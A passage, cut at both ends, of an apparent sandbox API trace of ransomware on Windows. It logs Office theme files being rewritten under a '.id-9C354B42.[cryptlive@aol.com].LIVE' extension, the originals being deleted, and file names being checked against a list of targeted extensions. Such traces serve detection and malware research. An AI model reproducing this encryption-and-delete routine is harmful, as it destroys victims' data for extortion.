dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0135.324] GetLastError () returned 0x0 [0135.324] ReadFile (in: hFile=0x388, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xbf81, lpOverlapped=0x0) returned 1 [0135.326] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xbf90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xbf90, lpOverlapped=0x0) returned 1 [0135.328] ReadFile (in: hFile=0x388, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.328] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0135.328] SetEndOfFile (hFile=0x394) returned 1 [0135.328] CloseHandle (hObject=0x394) returned 1 [0135.541] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.541] SetEndOfFile (hFile=0x388) returned 1 [0135.581] CloseHandle (hObject=0x388) returned 1 [0135.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 1 [0135.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0135.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0135.608] lstrlenW (lpString=".doc") returned 4 [0135.609] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.609] lstrlenW (lpString=".docx") returned 5 [0135.609] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.609] lstrlenW (lpString=".pdf") returned 4 [0135.609] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.609] lstrlenW (lpString=".xls") returned 4 [0135.609] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.609] lstrlenW (lpString=".xlsx") returned 5 [0135.609] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.609] lstrlenW (lpString=".ppt") returned 4 [0135.609] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0135.609] lstrlenW (lpString=".zip") returned 4 [0135.609] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.609] lstrlenW (lpString=".rar") returned 4 [0135.609] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.609] lstrlenW (lpString=".bz2") returned 4 [0135.609] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.609] lstrlenW (lpString=".7z") returned 3 [0135.609] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0135.609] lstrlenW (lpString=".dbf") returned 4 [0135.609] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0135.609] lstrlenW (lpString=".1cd") returned 4 [0135.609] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0135.609] lstrlenW (lpString=".jpg") returned 4 [0135.609] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0135.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0135.609] lstrlenW (lpString=".doc") returned 4 [0135.609] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.609] lstrlenW (lpString=".docx") returned 5 [0135.610] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.610] lstrlenW (lpString=".pdf") returned 4 [0135.610] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.610] lstrlenW (lpString=".xls") returned 4 [0135.610] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.610] lstrlenW (lpString=".xlsx") returned 5 [0135.610] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.610] lstrlenW (lpString=".ppt") returned 4 [0135.610] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0135.610] lstrlenW (lpString=".zip") returned 4 [0135.610] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.610] lstrlenW (lpString=".rar") returned 4 [0135.610] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.610] lstrlenW (lpString=".bz2") returned 4 [0135.610] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.610] lstrlenW (lpString=".7z") returned 3 [0135.610] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0135.610] lstrlenW (lpString=".dbf") returned 4 [0135.610] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0135.610] lstrlenW (lpString=".1cd") returned 4 [0135.610] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0135.610] lstrlenW (lpString=".jpg") returned 4 [0135.610] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.610] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.610] lstrlenW (lpString="Civic.eftx") returned 10 [0135.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0135.623] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=42917) returned 1 [0135.623] CloseHandle (hObject=0x3ac) returned 1 [0135.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 0x20 [0135.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0135.623] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.623] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0135.624] GetLastError () returned 0x0 [0135.624] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xa7a5, lpOverlapped=0x0) returned 1 [0135.626] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xa7b0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xa7b0, lpOverlapped=0x0) returned 1 [0135.628] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.628] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0135.628] SetEndOfFile (hFile=0x3b0) returned 1 [0135.629] CloseHandle (hObject=0x3b0) returned 1 [0135.629] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.629] SetEndOfFile (hFile=0x3ac) returned 1 [0135.632] CloseHandle (hObject=0x3ac) returned 1 [0135.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 1 [0135.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0135.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0135.633] lstrlenW (lpString=".doc") returned 4 [0135.633] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.633] lstrlenW (lpString=".docx") returned 5 [0135.633] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.633] lstrlenW (lpString=".pdf") returned 4 [0135.633] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.633] lstrlenW (lpString=".xls") returned 4 [0135.633] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.633] lstrlenW (lpString=".xlsx") returned 5 [0135.633] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.633] lstrlenW (lpString=".ppt") returned 4 [0135.633] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0135.633] lstrlenW (lpString=".zip") returned 4 [0135.633] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.633] lstrlenW (lpString=".rar") returned 4 [0135.633] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.633] lstrlenW (lpString=".bz2") returned 4 [0135.633] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.633] lstrlenW (lpString=".7z") returned 3 [0135.633] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0135.633] lstrlenW (lpString=".dbf") returned 4 [0135.633] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0135.634] lstrlenW (lpString=".1cd") returned 4 [0135.634] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0135.634] lstrlenW (lpString=".jpg") returned 4 [0135.634] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0135.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0135.634] lstrlenW (lpString=".doc") returned 4 [0135.634] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.634] lstrlenW (lpString=".docx") returned 5 [0135.634] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.634] lstrlenW (lpString=".pdf") returned 4 [0135.634] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.634] lstrlenW (lpString=".xls") returned 4 [0135.634] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.634] lstrlenW (lpString=".xlsx") returned 5 [0135.634] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.634] lstrlenW (lpString=".ppt") returned 4 [0135.634] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0135.634] lstrlenW (lpString=".zip") returned 4 [0135.634] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.634] lstrlenW (lpString=".rar") returned 4 [0135.634] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.634] lstrlenW (lpString=".bz2") returned 4 [0135.634] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.634] lstrlenW (lpString=".7z") returned 3 [0135.634] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0135.635] lstrlenW (lpString=".dbf") returned 4 [0135.635] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0135.635] lstrlenW (lpString=".1cd") returned 4 [0135.635] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0135.635] lstrlenW (lpString=".jpg") returned 4 [0135.635] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.635] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.635] lstrlenW (lpString="Clarity.eftx") returned 12 [0135.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0135.636] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=32818) returned 1 [0135.636] CloseHandle (hObject=0x3ac) returned 1 [0135.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 0x20 [0135.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0135.637] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.637] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0135.637] GetLastError () returned 0x0 [0135.637] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x8032, lpOverlapped=0x0) returned 1 [0135.640] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x8040, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x8040, lpOverlapped=0x0) returned 1 [0135.641] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.641] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.641] SetEndOfFile (hFile=0x3b0) returned 1 [0135.641] CloseHandle (hObject=0x3b0) returned 1 [0135.642] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.642] SetEndOfFile (hFile=0x3ac) returned 1 [0135.645] CloseHandle (hObject=0x3ac) returned 1 [0135.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 1 [0135.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0135.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0135.646] lstrlenW (lpString=".doc") returned 4 [0135.646] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.646] lstrlenW (lpString=".docx") returned 5 [0135.646] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.646] lstrlenW (lpString=".pdf") returned 4 [0135.646] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.646] lstrlenW (lpString=".xls") returned 4 [0135.646] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.646] lstrlenW (lpString=".xlsx") returned 5 [0135.646] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.646] lstrlenW (lpString=".ppt") returned 4 [0135.646] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0135.647] lstrlenW (lpString=".zip") returned 4 [0135.647] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.647] lstrlenW (lpString=".rar") returned 4 [0135.647] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.647] lstrlenW (lpString=".bz2") returned 4 [0135.647] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.647] lstrlenW (lpString=".7z") returned 3 [0135.647] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0135.647] lstrlenW (lpString=".dbf") returned 4 [0135.647] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0135.647] lstrlenW (lpString=".1cd") returned 4 [0135.647] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0135.647] lstrlenW (lpString=".jpg") returned 4 [0135.647] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0135.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0135.647] lstrlenW (lpString=".doc") returned 4 [0135.647] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.647] lstrlenW (lpString=".docx") returned 5 [0135.647] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.647] lstrlenW (lpString=".pdf") returned 4 [0135.647] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.647] lstrlenW (lpString=".xls") returned 4 [0135.647] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.647] lstrlenW (lpString=".xlsx") returned 5 [0135.647] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.647] lstrlenW (lpString=".ppt") returned 4 [0135.647] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0135.647] lstrlenW (lpString=".zip") returned 4 [0135.647] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.648] lstrlenW (lpString=".rar") returned 4 [0135.648] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.648] lstrlenW (lpString=".bz2") returned 4 [0135.648] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.648] lstrlenW (lpString=".7z") returned 3 [0135.648] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0135.648] lstrlenW (lpString=".dbf") returned 4 [0135.648] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0135.648] lstrlenW (lpString=".1cd") returned 4 [0135.648] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0135.648] lstrlenW (lpString=".jpg") returned 4 [0135.648] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.648] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.648] lstrlenW (lpString="Composite.eftx") returned 14 [0135.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0135.650] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=533988) returned 1 [0135.650] CloseHandle (hObject=0x3ac) returned 1 [0135.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 0x20 [0135.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0135.650] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.650] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0135.651] GetLastError () returned 0x0 [0135.651] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x825e4, lpOverlapped=0x0) returned 1 [0135.795] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x825f0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x825f0, lpOverlapped=0x0) returned 1 [0135.810] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, 